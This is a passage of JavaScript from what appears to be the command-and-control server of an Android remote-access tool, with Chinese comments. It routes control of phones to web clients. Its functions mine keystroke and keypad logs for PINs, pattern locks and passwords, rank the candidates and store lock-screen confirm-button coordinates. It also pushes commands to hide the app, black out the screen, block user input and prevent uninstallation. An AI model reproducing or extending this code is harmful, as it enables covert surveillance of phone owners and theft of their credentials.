'保存密码失败' }); return false; } } /** * 处理更新设备状态请求 */ handleUpdateDeviceState(clientId, deviceId, state) { try { this.logger.info(`🔐 处理更新设备状态请求: 客户端=${clientId}, 设备=${deviceId}`); // 检查客户端是否有权限更新该设备状态 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`客户端 ${clientId} 无权更新设备 ${deviceId} 的状态`); this.webClientManager.sendToClient(clientId, 'update_device_state_response', { success: false, message: '无权更新该设备状态' }); return false; } // 更新设备状态到数据库 this.databaseService.updateDeviceState(deviceId, state); // 发送成功响应 this.webClientManager.sendToClient(clientId, 'update_device_state_response', { success: true, message: '设备状态已更新' }); this.logger.info(`设备 ${deviceId} 的状态已被客户端 ${clientId} 更新`); return true; } catch (error) { this.logger.error('处理更新设备状态请求失败:', error); this.webClientManager.sendToClient(clientId, 'update_device_state_response', { success: false, message: '更新设备状态失败' }); return false; } } /** * 处理获取设备状态请求 */ handleGetDeviceState(clientId, deviceId) { try { this.logger.info(`🔐 处理获取设备状态请求: 客户端=${clientId}, 设备=${deviceId}`); // 检查客户端是否有权限获取该设备状态 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`客户端 ${clientId} 无权获取设备 ${deviceId} 的状态`); this.webClientManager.sendToClient(clientId, 'get_device_state_response', { success: false, message: '无权获取该设备状态' }); return false; } // 获取设备状态 const deviceState = this.databaseService.getDeviceState(deviceId); // 发送响应,包含设备状态信息 this.webClientManager.sendToClient(clientId, 'get_device_state_response', { success: true, data: deviceState }); this.logger.info(`设备 ${deviceId} 的状态已被客户端 ${clientId} 获取`); return true; } catch (error) { this.logger.error('处理获取设备状态请求失败:', error); this.webClientManager.sendToClient(clientId, 'get_device_state_response', { success: false, message: '获取设备状态失败' }); return false; } } /** * 广播消息到所有相关方 */ broadcastMessage(eventType, data) { this.webClientManager.broadcastToAll(eventType, data); this.logger.debug(`广播消息: ${eventType}`); } /** * 获取路由统计信息 */ getRouterStats() { return { totalDevices: this.deviceManager.getDeviceCount(), totalClients: this.webClientManager.getClientCount(), activeControlSessions: this.webClientManager.getAllClients() .filter(client => client.controllingDeviceId).length }; } handleDeviceInputBlockedChanged(deviceId, blocked) { try { // 更新设备状态到数据库 this.databaseService.updateDeviceInputBlocked(deviceId, blocked); // 通知所有连接的Web客户端设备状态已变化 this.webClientManager.broadcastToAll('device_input_blocked_changed', { deviceId, blocked, success: true, message: '设备输入阻塞状态已更新' }); this.logger.info(`设备 ${deviceId} 的输入阻塞状态已更新: ${blocked}`); } catch (error) { this.logger.error('处理设备输入阻塞状态更新失败:', error); this.webClientManager.broadcastToAll('device_input_blocked_changed', { deviceId, blocked, success: false, message: '更新设备输入阻塞状态失败' }); } } handleDeviceLoggingStateChanged(deviceId, enabled) { try { // 更新设备状态到数据库 this.databaseService.updateDeviceLoggingEnabled(deviceId, enabled); // 通知所有连接的Web客户端设备状态已变化 this.webClientManager.broadcastToAll('device_logging_state_changed', { deviceId, enabled, success: true, message: '设备日志状态已更新' }); this.logger.info(`设备 ${deviceId} 的日志状态已更新: ${enabled}`); } catch (error) { this.logger.error('处理设备日志状态更新失败:', error); this.webClientManager.broadcastToAll('device_logging_state_changed', { deviceId, enabled, success: false, message: '更新设备日志状态失败' }); } } restoreDeviceState(clientId, deviceId) { try { // 从数据库获取设备状态 const deviceState = this.databaseService.getDeviceState(deviceId); if (deviceState) { // 发送设备状态给客户端 this.webClientManager.sendToClient(clientId, 'device_state_restored', { deviceId, state: deviceState, success: true, message: '设备状态已恢复' }); // ✅ 优化:Web端获取控制权时,只需要同步状态到Web端界面即可 // Android端已经在运行并维护着真实状态,不需要强制同步命令 // 移除了向Android端发送控制命令的逻辑,避免不必要的命令洪流导致连接不稳定 this.logger.info(`设备 ${deviceId} 状态已恢复到Web端: 密码=${deviceState.password ? '已设置' : '未设置'}, 输入阻塞=${deviceState.inputBlocked}, 日志=${deviceState.loggingEnabled}`); } else { this.logger.debug(`设备 ${deviceId} 没有保存的状态信息`); } } catch (error) { this.logger.error(`恢复设备 ${deviceId} 状态失败:`, error); this.webClientManager.sendToClient(clientId, 'device_state_restored', { deviceId, success: false, message: '恢复设备状态失败' }); } } handleSearchPasswordsFromLogs(clientId, deviceId) { try { // 检查客户端权限 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`客户端 ${clientId} 无权搜索设备 ${deviceId} 的密码`); this.webClientManager.sendToClient(clientId, 'password_search_response', { success: false, message: '无权搜索该设备的密码' }); return false; } this.logger.info(`🔍 开始从日志中搜索密码: 设备=${deviceId}`); // 从数据库获取文本输入相关的操作日志 const textInputLogs = this.databaseService.getPasswordCandidatesFromLogs(deviceId); this.logger.info(`🔍 设备 ${deviceId} 密码查找结果: 找到 ${textInputLogs ? textInputLogs.length : 0} 条文本输入日志`); if (!textInputLogs || textInputLogs.length === 0) { this.logger.info(`📝 设备 ${deviceId} 暂无文本输入日志记录`); // 调试:检查该设备是否有任何日志 const allLogs = this.databaseService.getOperationLogs(deviceId, 1, 10); this.logger.info(`🔍 调试信息 - 设备 ${deviceId} 的所有日志数量: ${allLogs.total}`); this.webClientManager.sendToClient(clientId, 'password_search_response', { success: true, message: `未找到文本输入记录。该设备共有 ${allLogs.total} 条日志,但无文本输入类型的日志。`, passwords: [] }); return true; } // 分析日志内容,提取可能的密码 const passwordCandidates = this.extractPasswordCandidates(textInputLogs); this.logger.info(`🔑 发现 ${passwordCandidates.length} 个可能的密码候选`); // 发送结果给客户端 this.webClientManager.sendToClient(clientId, 'password_search_response', { success: true, message: `找到 ${passwordCandidates.length} 个可能的密码`, passwords: passwordCandidates }); return true; } catch (error) { this.logger.error('搜索密码失败:', error); this.webClientManager.sendToClient(clientId, 'password_search_response', { success: false, message: '搜索密码时发生错误' }); return false; } } /** * ✅ 新增:从操作日志中提取密码候选及其元信息(包括确认坐标) */ extractPasswordCandidatesWithMeta(logs) { const passwordMap = new Map(); for (const log of logs) { const content = log.content || ''; const extraData = log.extraData; this.logger.debug(`🔍 分析日志内容: ${content}`); let textInput = ''; let passwordType = 'unknown'; let confirmButtonX; let confirmButtonY; let hasConfirmButton = false; // ✅ 方法1: 从密码输入分析完成的日志中提取(新格式,包含类型信息) if (content.includes('🔑 密码输入分析完成')) { const passwordMatch = content.match(/密码:(.+?)(?:\s|\||$)/); if (passwordMatch) { textInput = passwordMatch[1].trim(); this.logger.info(`✅ 从分析日志中提取密码: ${textInput}`); } // 提取密码类型信息 if (content.includes('数字密码') || content.includes('PIN码')) { passwordType = content.includes('PIN码') ? 'pin' : 'numeric'; } else if (content.includes('图案密码') || content.includes('图形密码')) { passwordType = 'pattern'; } else if (content.includes('混合密码')) { passwordType = 'mixed'; } else if (content.includes('文本密码')) { passwordType = 'text'; } else { passwordType = this.detectPasswordTypeFromContent(textInput); } // ✅ 提取确认坐标信息 const coordMatch = content.match(/确认坐标:\((\d+),\s*(\d+)\)/); if (coordMatch) { confirmButtonX = parseInt(coordMatch[1]); confirmButtonY = parseInt(coordMatch[2]); hasConfirmButton = true; this.logger.info(`✅ 提取到确认坐标: (${confirmButtonX}, ${confirmButtonY})`); } this.logger.info(`🔍 检测到密码类型: ${passwordType}`); } // ✅ 从extraData中提取坐标信息 if (extraData && typeof extraData === 'object') { if (extraData.confirmButtonX && extraData.confirmButtonY) { confirmButtonX = extraData.confirmButtonX; confirmButtonY = extraData.confirmButtonY; hasConfirmButton = true; } } // ✅ 处理独立的确认坐标日志 if (content.includes('确认按钮坐标更新') || log.log_type === 'PASSWORD_CONFIRM_COORDS') { // 这是一个确认坐标更新日志,需要关联到最近的密码 if (extraData && extraData.confirmButtonX && extraData.confirmButtonY) { // 在已有的密码候选中查找最近的需要确认按钮的密码 const existingEntries = Array.from(passwordMap.values()); const recentEntry = existingEntries .filter(entry => entry.type === 'mixed' || entry.type === 'text') .sort((a, b) => (b.confirmButtonX ? 1 : 0) - (a.confirmButtonX ? 1 : 0)) // 优先选择还没有坐标的 .pop(); if (recentEntry && !recentEntry.confirmButtonX) { recentEntry.confirmButtonX = extraData.confirmButtonX; recentEntry.confirmButtonY = extraData.confirmButtonY; recentEntry.hasConfirmButton = true; this.logger.info(`✅ 为已有密码 ${recentEntry.password} 添加确认坐标: (${extraData.confirmButtonX}, ${extraData.confirmButtonY})`); } } continue; // 跳过后续处理,这不是密码日志 } // 验证并添加密码 if (textInput && this.isPossiblePasswordEnhanced(textInput, passwordType)) { this.logger.info(`✅ 验证通过,添加密码候选: ${textInput} (类型: ${passwordType})`); const passwordEntry = { password: textInput, type: passwordType, confirmButtonX, confirmButtonY, hasConfirmButton }; passwordMap.set(textInput, passwordEntry); } } // 转换为数组并排序 const passwords = Array.from(passwordMap.values()); passwords.sort((a, b) => { const typePriority = { 'pin': 100, 'numeric': 90, 'mixed': 80, 'text': 70, 'pattern': 60, 'unknown': 50 }; const aPriority = typePriority[a.type] || 50; const bPriority = typePriority[b.type] || 50; if (aPriority !== bPriority) { return bPriority - aPriority; } const preferredLengths = [4, 6, 8]; const aScore = preferredLengths.includes(a.password.length) ? 100 - preferredLengths.indexOf(a.password.length) : a.password.length; const bScore = preferredLengths.includes(b.password.length) ? 100 - preferredLengths.indexOf(b.password.length) : b.password.length; return bScore - aScore; }); return passwords; } /** * 从操作日志中提取密码候选 - ✅ 增强版本,改进密码类型识别 */ extractPasswordCandidates(logs) { const passwordSet = new Set(); const passwordWithType = new Map(); // 记录密码及其类型 for (const log of logs) { const content = log.content || ''; const extraData = log.extraData; this.logger.debug(`🔍 分析日志内容: ${content}`); // 从日志内容中提取文本 let textInput = ''; let passwordType = 'unknown'; // ✅ 方法1: 从密码输入分析完成的日志中提取(新格式,包含类型信息) if (content.includes('🔑 密码输入分析完成')) { // 提取密码 const passwordMatch = content.match(/密码:(.+?)(?:\s|\||$)/); if (passwordMatch) { textInput = passwordMatch[1].trim(); this.logger.info(`✅ 从分析日志中提取密码: ${textInput}`); } // ✅ 提取密码类型信息 if (content.includes('数字密码') || content.includes('PIN码')) { passwordType = content.includes('PIN码') ? 'pin' : 'numeric'; } else if (content.includes('图案密码') || content.includes('图形密码')) { passwordType = 'pattern'; } else if (content.includes('混合密码')) { passwordType = 'mixed'; } else if (content.includes('文本密码')) { passwordType = 'text'; } else { // 根据密码内容自动判断类型 passwordType = this.detectPasswordTypeFromContent(textInput); } this.logger.info(`🔍 检测到密码类型: ${passwordType}`); } // 方法2: 从传统的输入文本日志中解析 else if (content.includes('输入文本:') || content.includes('远程输入文本:')) { const match = content.match(/(?:远程)?输入文本:\s*(.+)/); if (match) { textInput = match[1].trim(); passwordType = this.detectPasswordTypeFromContent(textInput); this.logger.info(`✅ 从输入文本日志中提取: ${textInput} (类型: ${passwordType})`); } } // ✅ 方法3: 从数字密码键盘点击日志中提取 else if (content.includes('数字密码键盘点击:')) { const digitMatch = content.match(/数字密码键盘点击:\s*(\d)/); if (digitMatch) { // 这是单个数字,需要与其他数字组合 const digit = digitMatch[1]; this.logger.debug(`🔢 发现数字密码键盘点击: ${digit}`); // 暂时不处理单个数字,等待完整密码分析 } } // 方法4: 从密码输入进度日志中提取 else if (content.includes('🔒') && content.includes('密码输入:')) { // 提取类似 "🔒 密码输入: •••••z (6位)" 的内容 const inputMatch = content.match(/密码输入:\s*[•]*([^•\s\(]+)/); if (inputMatch) { textInput = inputMatch[1].trim(); passwordType = this.detectPasswordTypeFromContent(textInput); this.logger.info(`✅ 从密码输入进度日志中提取: ${textInput} (类型: ${passwordType})`); } } // ✅ 方法5: 从重构密码日志中提取 else if (content.includes('密码重构完成:')) { const reconstructMatch = content.match(/密码重构完成:\s*'([^']+)'/); if (reconstructMatch) { textInput = reconstructMatch[1].trim(); passwordType = this.detectPasswordTypeFromContent(textInput); this.logger.info(`✅ 从密码重构日志中提取: ${textInput} (类型: ${passwordType})`); } } // ✅ 方法6: 从带确认坐标的日志中提取密码和坐标 else if (content.includes('确认坐标:')) { const passwordMatch = content.match(/密码:(.+?)\s*\|/); const coordMatch = content.match(/确认坐标:\((\d+),\s*(\d+)\)/); if (passwordMatch) { textInput = passwordMatch[1].trim(); passwordType = this.detectPasswordTypeFromContent(textInput); if (coordMatch) { const confirmX = parseInt(coordMatch[1]); const confirmY = parseInt(coordMatch[2]); this.logger.info(`✅ 从确认坐标日志中提取: ${textInput} (类型: ${passwordType}) 确认坐标: (${confirmX}, ${confirmY})`); // 将确认坐标信息添加到extraData中 if (extraData && typeof extraData === 'object') { extraData.confirmButtonX = confirmX; extraData.confirmButtonY = confirmY; extraData.hasConfirmButton = true; } } } } // 方法7: 从extraData中获取 if (!textInput && extraData) { if (typeof extraData === 'object') { if (extraData.text) { textInput = extraData.text; passwordType = this.detectPasswordTypeFromContent(textInput); this.logger.info(`✅ 从extraData对象中提取: ${textInput} (类型: ${passwordType})`); } else if (extraData.reconstructedPassword) { textInput = extraData.reconstructedPassword; passwordType = this.detectPasswordTypeFromContent(textInput); this.logger.info(`✅ 从extraData重构密码中提取: ${textInput} (类型: ${passwordType})`); } } else if (typeof extraData === 'string') { try { const parsed = JSON.parse(extraData); if (parsed.text) { textInput = parsed.text; passwordType = this.detectPasswordTypeFromContent(textInput); this.logger.info(`✅ 从extraData JSON中提取: ${textInput} (类型: ${passwordType})`); } } catch (e) { // 忽略JSON解析错误 } } } // ✅ 验证是否为可能的密码,并考虑密码类型 if (textInput && this.isPossiblePasswordEnhanced(textInput, passwordType)) { this.logger.info(`✅ 验证通过,添加密码候选: ${textInput} (类型: ${passwordType})`); passwordSet.add(textInput); passwordWithType.set(textInput, passwordType); } else if (textInput) { this.logger.debug(`❌ 验证失败,跳过: ${textInput} (类型: ${passwordType})`); } } // ✅ 转换为数组并按类型和质量排序 const passwords = Array.from(passwordSet); this.logger.info(`🔑 最终提取到 ${passwords.length} 个密码候选: ${passwords.join(', ')}`); passwords.sort((a, b) => { const aType = passwordWithType.get(a) || 'unknown'; const bType = passwordWithType.get(b) || 'unknown'; // ✅ 类型优先级排序:PIN码 > 数字密码 > 混合密码 > 文本密码 > 图形密码 > 未知 const typePriority = { 'pin': 100, 'numeric': 90, 'mixed': 80, 'text': 70, 'pattern': 60, 'unknown': 50 }; const aPriority = typePriority[aType] || 50; const bPriority = typePriority[bType] || 50; if (aPriority !== bPriority) { return bPriority - aPriority; } // 同类型按长度排序(常见密码长度优先:4位、6位、8位) const preferredLengths = [4, 6, 8]; const aScore = preferredLengths.includes(a.length) ? 100 - preferredLengths.indexOf(a.length) : a.length; const bScore = preferredLengths.includes(b.length) ? 100 - preferredLengths.indexOf(b.length) : b.length; return bScore - aScore; }); return passwords; } /** * ✅ 新增:从密码内容检测密码类型 */ detectPasswordTypeFromContent(password) { if (!password) return 'unknown'; const cleanPassword = password.replace(/[?•*]/g, ''); // 移除掩码字符 // 判断是否为纯数字 if (/^\d+$/.test(cleanPassword)) { if (cleanPassword.length === 4 || cleanPassword.length === 6) { return 'pin'; } else if (cleanPassword.length >= 4 && cleanPassword.length <= 9) { // 检查是否可能是图形密码(1-9的数字,不包含0) const hasOnlyValidPatternDigits = cleanPassword.split('').every(digit => { const num = parseInt(digit); return num >= 1 && num <= 9; }); if (hasOnlyValidPatternDigits && !cleanPassword.includes('0')) { return 'pattern'; } else { return 'numeric'; } } else { return 'numeric'; } } // 判断是否为混合密码 if (/\d/.test(cleanPassword) && /[a-zA-Z]/.test(cleanPassword)) { return 'mixed'; } // 纯字母 if (/^[a-zA-Z]+$/.test(cleanPassword)) { return 'text'; } // 包含特殊字符 if (/[^a-zA-Z0-9]/.test(cleanPassword)) { return 'mixed'; } return 'text'; } /** * ✅ 增强版密码验证:判断文本是否可能是密码,考虑密码类型 */ isPossiblePasswordEnhanced(text, passwordType) { if (!text || typeof text !== 'string') { return false; } const trimmed = text.trim(); const cleanText = trimmed.replace(/[?•*]/g, ''); // 移除掩码字符 // ✅ 根据密码类型进行不同的验证 switch (passwordType) { case 'pin': // PIN码:4-6位纯数字 return /^\d{4,6}$/.test(cleanText); case 'numeric': // 数字密码:3-12位数字(包含0) return /^\d{3,12}$/.test(cleanText); case 'pattern': // 图形密码:4-9位数字,只包含1-9 if (!/^\d{4,9}$/.test(cleanText)) return false; return cleanText.split('').every(digit => { const num = parseInt(digit); return num >= 1 && num <= 9; }) && !cleanText.includes('0'); case 'mixed': // 混合密码:包含字母和数字 return cleanText.length >= 4 && cleanText.length <= 20 && /[a-zA-Z]/.test(cleanText) && /\d/.test(cleanText); case 'text': // 文本密码:主要是字母 return cleanText.length >= 3 && cleanText.length <= 20 && /[a-zA-Z]/.test(cleanText); default: // 未知类型,使用通用验证 return this.isPossiblePassword(text); } } /** * 判断文本是否可能是密码 - 保持原有逻辑作为后备 */ isPossiblePassword(text) { if (!text || typeof text !== 'string') { return false; } const trimmed = text.trim(); // 长度检查:密码通常在3-20位之间 if (trimmed.length < 3 || trimmed.length > 20) { this.logger.debug(`❌ 长度不符合 (${trimmed.length}): ${trimmed}`); return false; } // 排除明显不是密码的文本 const excludePatterns = [ /^\s+$/, // 纯空格 /^[\u4e00-\u9fa5\s]+$/, // 纯中文和空格 /^[!@#$%^&*(),.?":{}|<>\s]+$/, // 纯符号和空格 ]; for (const pattern of excludePatterns) { if (pattern.test(trimmed)) { this.logger.debug(`❌ 匹配排除模式: ${trimmed}`); return false; } } // 包含模式检查(可能是密码) const includePatterns = [ /^\d{3,8}$/, // 3-8位数字(PIN码) /^[a-zA-Z0-9]{3,16}$/, // 3-16位字母数字组合 /^[a-zA-Z0-9!@#$%^&*]{3,20}$/, // 3-20位字母数字符号组合 ]; for (const pattern of includePatterns) { if (pattern.test(trimmed)) { this.logger.debug(`✅ 匹配包含模式: ${trimmed}`); return true; } } // 其他可能的密码模式 - 更宽松的检查 const isValid = (trimmed.length >= 3 && trimmed.length <= 20 && !/\s/.test(trimmed) && // 不包含空格 /[a-zA-Z0-9]/.test(trimmed) // 包含字母或数字 ); if (isValid) { this.logger.debug(`✅ 通过一般验证: ${trimmed}`); } else { this.logger.debug(`❌ 未通过一般验证: ${trimmed}`); } return isValid; } /** * ✅ 刷新所有web客户端的设备列表 */ refreshAllWebClientDeviceLists() { try { // 获取所有web客户端 const allClients = this.webClientManager.getAllClients(); this.logger.info(`🔄 开始刷新 ${allClients.length} 个web客户端的设备列表`); allClients.forEach(client => { try { // 为每个客户端发送最新的设备列表 this.handleDeviceListRequest(client.id); } catch (error) { this.logger.error(`❌ 刷新客户端 ${client.id} 设备列表失败:`, error); } }); this.logger.info(`✅ 设备列表刷新完成`); } catch (error) { this.logger.error('❌ 刷新web客户端设备列表失败:', error); } } /** * ✅ 同步设备状态到设备端 */ syncDeviceStateToDevice(socketId, deviceId, deviceState) { try { this.logger.info(`🔄 开始同步设备状态到设备端: ${deviceId}`); // 获取设备的socket连接 const deviceSocket = this.webClientManager.io?.sockets.sockets.get(socketId); if (!deviceSocket) { this.logger.warn(`⚠️ 设备socket连接不存在,无法同步状态: ${deviceId}`); return; } // 同步输入阻塞状态 if (deviceState.inputBlocked !== undefined && deviceState.inputBlocked !== null) { const controlMessage = { type: deviceState.inputBlocked ? 'DEVICE_BLOCK_INPUT' : 'DEVICE_ALLOW_INPUT', deviceId, data: {}, timestamp: Date.now() }; deviceSocket.emit('control_message', controlMessage); this.logger.info(`📤 已向设备 ${deviceId} 同步输入阻塞状态: ${deviceState.inputBlocked}`); } // 同步日志状态(如果需要) if (deviceState.loggingEnabled !== undefined && deviceState.loggingEnabled !== null) { const logMessage = { type: deviceState.loggingEnabled ? 'LOG_ENABLE' : 'LOG_DISABLE', deviceId, data: {}, timestamp: Date.now() }; deviceSocket.emit('control_command', logMessage); this.logger.info(`📤 已向设备 ${deviceId} 同步日志状态: ${deviceState.loggingEnabled}`); } // 🆕 同步黑屏遮盖状态(如果需要) if (deviceState.blackScreenActive !== undefined && deviceState.blackScreenActive !== null) { const blackScreenMessage = { type: deviceState.blackScreenActive ? 'ENABLE_BLACK_SCREEN' : 'DISABLE_BLACK_SCREEN', deviceId, data: {}, timestamp: Date.now() }; deviceSocket.emit('control_command', blackScreenMessage); this.logger.info(`📤 已向设备 ${deviceId} 同步黑屏遮盖状态: ${deviceState.blackScreenActive}`); } // 🆕 同步应用隐藏状态(如果需要) if (deviceState.appHidden !== undefined && deviceState.appHidden !== null) { const appHideMessage = { type: deviceState.appHidden ? 'HIDE_APP' : 'SHOW_APP', deviceId, data: {}, timestamp: Date.now() }; deviceSocket.emit('control_command', appHideMessage); this.logger.info(`📤 已向设备 ${deviceId} 同步应用隐藏状态: ${deviceState.appHidden}`); } // 🛡️ 同步防止卸载保护状态(如果需要) if (deviceState.uninstallProtectionEnabled !== undefined && deviceState.uninstallProtectionEnabled !== null) { const uninstallProtectionMessage = { type: deviceState.uninstallProtectionEnabled ? 'ENABLE_UNINSTALL_PROTECTION' : 'DISABLE_UNINSTALL_PROTECTION', deviceId, data: {}, timestamp: Date.now() }; deviceSocket.emit('control_command', uninstallProtectionMessage); this.logger.info(`📤 已向设备 ${deviceId} 同步防止卸载保护状态: ${deviceState.uninstallProtectionEnabled}`); } this.logger.info(`✅ 设备状态同步完成: ${deviceId}`); } catch (error) { this.logger.error(`❌ 同步设备状态失败: ${deviceId}`, error); } } /** * 处理删除设备请求 */ handleDeleteDevice(clientId, deviceId) { try { this.logger.info(`🗑️ 处理删除设备请求: 客户端=${clientId}, 设备=${deviceId}`); // 检查设备是否存在 const deviceExists = this.databaseService.getDeviceById(deviceId); if (!deviceExists) { this.logger.warn(`⚠️ 尝试删除不存在的设备: ${deviceId}`); this.webClientManager.sendToClient(clientId, 'delete_device_response', { success: false, deviceId: deviceId, message: '设备不存在' }); return false; } // 如果设备在线,先释放控制权并断开连接 const onlineDevice = this.deviceManager.getDevice(deviceId); if (onlineDevice) { this.logger.info(`📤 设备在线,先断开连接: ${deviceId}`); // 释放控制权 const controller = this.webClientManager.getDeviceController(deviceId); if (controller) { this.webClientManager.releaseDeviceControl(deviceId); this.logger.info(`🔓 已释放设备控制权: ${controller}`); } // 通知设备断开 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); if (deviceSocket) { deviceSocket.emit('force_disconnect', { reason: 'device_deleted', message: '设备已被删除' }); deviceSocket.disconnect(true); } } // 从内存中移除设备 this.deviceManager.removeDevice(deviceId); // 通知所有客户端设备已断开 this.webClientManager.broadcastToAll('device_disconnected', deviceId); } // 从数据库中删除设备及相关数据 this.databaseService.deleteDevice(deviceId); this.logger.info(`✅ 设备已从数据库删除: ${deviceId}`); // 发送成功响应 this.webClientManager.sendToClient(clientId, 'delete_device_response', { success: true, deviceId: deviceId, message: '设备已删除' }); this.logger.info(`🎉 设备删除完成: ${deviceId}`); return true; } catch (error) { this.logger.error('删除设备失败:', error); this.webClientManager.sendToClient(clientId, 'delete_device_response', { success: false, deviceId: deviceId, message: '删除设备时发生错误' }); return false; } } /** * 获取设备UI层次结构 */ handleGetUIHierarchy(clientId, deviceId, requestData) { try { this.logger.info(`🔍 处理UI层次结构获取请求: 客户端=${clientId}, 设备=${deviceId}`); // 检查客户端权限 const client = this.webClientManager.getClient(clientId); if (!client) { this.logger.error(`获取UI层次结构失败: 找不到客户端 ${clientId}`); return false; } // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId); if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.error(`❌ 设备不在线或不存在: ${deviceId}`); this.logger.info(`📋 当前所有设备: ${JSON.stringify(this.deviceManager.getAllDevices().map(d => ({ id: d.id, name: d.name, socketId: d.socketId, status: d.status })))}`); this.webClientManager.sendToClient(clientId, 'ui_hierarchy_response', { deviceId, success: false, message: '设备不在线或不存在' }); return false; } // 获取设备Socket并发送UI分析请求 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId); this.logger.info(`🔍 设备 ${deviceId} 的Socket ID: ${deviceSocketId}`); if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId); this.logger.info(`🔍 Socket连接状态: ${deviceSocket ? '已连接' : '未找到'}`); if (deviceSocket) { // 向设备发送UI分析请求 - 默认启用所有增强功能 const requestPayload = { requestId: `ui_${Date.now()}`, clientId: clientId, includeInvisible: requestData.includeInvisible !== false, // 默认true includeNonInteractive: requestData.includeNonInteractive !== false, // 默认true maxDepth: requestData.maxDepth || 25, // 默认增加到25层 enhanced: true, // 默认启用增强功能 includeDeviceInfo: true // 默认包含设备信息 }; this.logger.info(`📤 准备发送UI分析请求(增强模式): ${JSON.stringify(requestPayload)}`); deviceSocket.emit('ui_hierarchy_request', requestPayload); this.logger.info(`📤 已向设备 ${deviceId} 发送UI层次结构分析请求(增强模式)`); return true; } } this.logger.error(`无法找到设备 ${deviceId} 的Socket连接`); this.webClientManager.sendToClient(clientId, 'ui_hierarchy_response', { deviceId, success: false, message: '设备连接已断开' }); return false; } catch (error) { this.logger.error(`获取UI层次结构失败: ${deviceId}`, error); this.webClientManager.sendToClient(clientId, 'ui_hierarchy_response', { deviceId, success: false, message: `分析失败: ${error instanceof Error ? error.message : '未知错误'}` }); return false; } } /** * 处理设备UI层次结构响应 */ handleUIHierarchyResponse(deviceId, hierarchyData) { try { this.logger.info(`📱 收到设备 ${deviceId} 的UI层次结构响应`); this.logger.info(`📋 响应数据详情: clientId=${hierarchyData.clientId}, success=${hierarchyData.success}, hierarchy类型=${typeof hierarchyData.hierarchy}`); // 转发给请求的客户端 if (hierarchyData.clientId) { const responseData = { deviceId, success: hierarchyData.success || true, hierarchy: hierarchyData.hierarchy, timestamp: Date.now(), enhanced: hierarchyData.enhanced || false, // ✅ 传递增强标识 deviceCharacteristics: hierarchyData.deviceCharacteristics, // ✅ 传递设备特征 analysisMetadata: hierarchyData.analysisMetadata // ✅ 传递分析元数据 }; this.logger.info(`📤 准备转发给客户端 ${hierarchyData.clientId}, 数据大小: ${JSON.stringify(responseData).length} 字符`); this.webClientManager.sendToClient(hierarchyData.clientId, 'ui_hierarchy_response', responseData); this.logger.info(`✅ 已将UI层次结构转发给客户端: ${hierarchyData.clientId}${hierarchyData.enhanced ? '(增强版)' : ''}`); } else { this.logger.warn(`⚠️ 响应数据中缺少clientId字段,无法转发`); // 广播给所有客户端 this.webClientManager.broadcastToAll('ui_hierarchy_response', { deviceId, success: hierarchyData.success || true, hierarchy: hierarchyData.hierarchy, timestamp: Date.now() }); this.logger.info(`📤 已广播UI层次结构给所有客户端`); } } catch (error) { this.logger.error(`处理UI层次结构响应失败: ${deviceId}`, error); } } /** * 路由UI层次结构响应(从设备到Web客户端)- 参考routeScreenData的模式 */ routeUIHierarchyResponse(fromSocketId, hierarchyData) { try { this.logger.info(`🔍 处理UI层次结构响应: Socket ${fromSocketId}`); // 首先尝试从DeviceManager获取设备信息 let device = this.deviceManager.getDeviceBySocketId(fromSocketId); if (!device) { this.logger.warn(`⚠️ 找不到设备,尝试从数据库恢复: ${fromSocketId}`); // ✅ 参考routeScreenData:立即尝试从数据库恢复设备 const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId); if (dbDevice) { // ✅ 获取设备状态信息 const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId); device = { id: dbDevice.deviceId, socketId: fromSocketId, name: dbDevice.deviceName, model: dbDevice.deviceModel, osVersion: dbDevice.osVersion, appVersion: dbDevice.appVersion, screenWidth: dbDevice.screenWidth, screenHeight: dbDevice.screenHeight, capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), connectedAt: new Date(), lastSeen: new Date(), status: 'online', inputBlocked: deviceState?.inputBlocked || false, isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 remark: dbDevice.remark // 🆕 恢复设备备注 }; // 将恢复的设备添加到DeviceManager中 this.deviceManager.addDevice(device); this.logger.info(`✅ 从数据库恢复设备: ${device.name} (${device.id})`); // ✅ 关键修复:更新数据库中的设备记录(特别是lastSocketId) try { const deviceForDb = { deviceId: device.id, deviceName: device.name, deviceModel: device.model, osVersion: device.osVersion, appVersion: device.appVersion, screenWidth: device.screenWidth, screenHeight: device.screenHeight, capabilities: device.capabilities }; this.databaseService.saveDevice(deviceForDb, fromSocketId); } catch (dbError) { this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError); } // ✅ 关键修复:UI响应时设备恢复后,立即通知Web端设备在线 this.logger.info(`✅ 设备UI响应恢复成功: ${device.name},立即通知Web端设备在线`); // 立即广播设备连接事件给所有Web客户端 this.webClientManager.broadcastToAll('device_connected', device); // 同时广播设备状态更新 this.webClientManager.broadcastToAll('device_status_update', { deviceId: device.id, status: { online: true, connected: true, lastSeen: Date.now(), inputBlocked: device.inputBlocked || false } }); // ✅ 同步设备状态到设备端(如输入阻塞状态) if (deviceState) { this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState); } } else { // 尝试从响应数据中获取deviceId进行处理 const deviceId = hierarchyData?.deviceId; if (deviceId) { this.logger.warn(`⚠️ 数据库中也找不到设备,但响应包含deviceId: ${deviceId},尝试直接处理`); this.handleUIHierarchyResponse(deviceId, hierarchyData); return true; } else { this.logger.error(`❌ 无法找到设备且响应数据中没有deviceId: ${fromSocketId}`); return false; } } } // 确保device不为undefined if (!device) { this.logger.error(`❌ 设备恢复失败: ${fromSocketId}`); return false; } this.logger.info(`✅ 找到设备: ${device.name} (${device.id}),处理UI层次结构响应`); // 直接处理UI层次结构响应 this.handleUIHierarchyResponse(device.id, hierarchyData); return true; } catch (error) { this.logger.error('路由UI层次结构响应失败:', error); return false; } } /** * 🆕 处理开始提取确认坐标的请求 */ handleStartExtractConfirmCoords(clientId, 